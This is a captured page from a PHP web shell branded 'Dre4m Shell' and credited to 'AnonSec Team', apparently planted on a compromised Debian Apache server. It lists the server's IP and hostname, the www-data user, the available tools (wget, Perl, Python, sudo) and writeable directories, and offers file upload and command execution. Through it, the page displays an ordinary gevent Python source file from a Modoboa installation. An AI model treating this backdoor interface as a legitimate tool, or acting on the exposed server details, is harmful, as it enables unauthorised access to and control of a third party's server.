Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.116.43.172
Web Server : Apache/2.4.61 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /srv/modoboa/env/lib64/python3.5/site-packages/gevent/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /srv/modoboa/env/lib64/python3.5/site-packages/gevent/_ident.py
# -*- coding: utf-8 -*-
# Copyright 2018 gevent contributors. See LICENSE for details.
# cython: auto_pickle=False,embedsignature=True,always_allow_keywords=False

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function


from weakref import WeakKeyDictionary
from weakref import ref

from heapq import heappop
from heapq import heappush

__all__ = [
    'IdentRegistry',
]

class ValuedWeakRef(ref):
    """
    A weak ref with an associated value.
    """

    __slots__ = ('value',)


class IdentRegistry(object):
    """
    Maintains a unique mapping of (small) positive integer identifiers
    to objects that can be weakly referenced.

    It is guaranteed that no two objects will have the the same
    identifier at the same time, as long as those objects are
    also uniquely hashable.
    """

    def __init__(self):
        # {obj -> (ident, wref(obj))}
        self._registry = WeakKeyDictionary()

        # A heap of numbers that have been used and returned
        self._available_idents = []

    def get_ident(self, obj):
        """
        Retrieve the identifier for *obj*, creating one
        if necessary.
        """

        try:
            return self._registry[obj][0]
        except KeyError:
            pass

        if self._available_idents:
            # Take the smallest free number
            ident = heappop(self._available_idents)
        else:
            # Allocate a bigger one
            ident = len(self._registry)

        vref = ValuedWeakRef(obj, self._return_ident)
        vref.value = ident # pylint:disable=assigning-non-slot,attribute-defined-outside-init
        self._registry[obj] = (ident, vref)
        return ident

    def _return_ident(self, vref):
        # By the time this is called, self._registry has been
        # updated
        if heappush is not None:
            # Under some circumstances we can get called
            # when the interpreter is shutting down, and globals
            # aren't available any more.
            heappush(self._available_idents, vref.value)

    def __len__(self):
        return len(self._registry)


from gevent._util import import_c_accel
import_c_accel(globals(), 'gevent.__ident')

Anon7 - 2022
AnonSec Team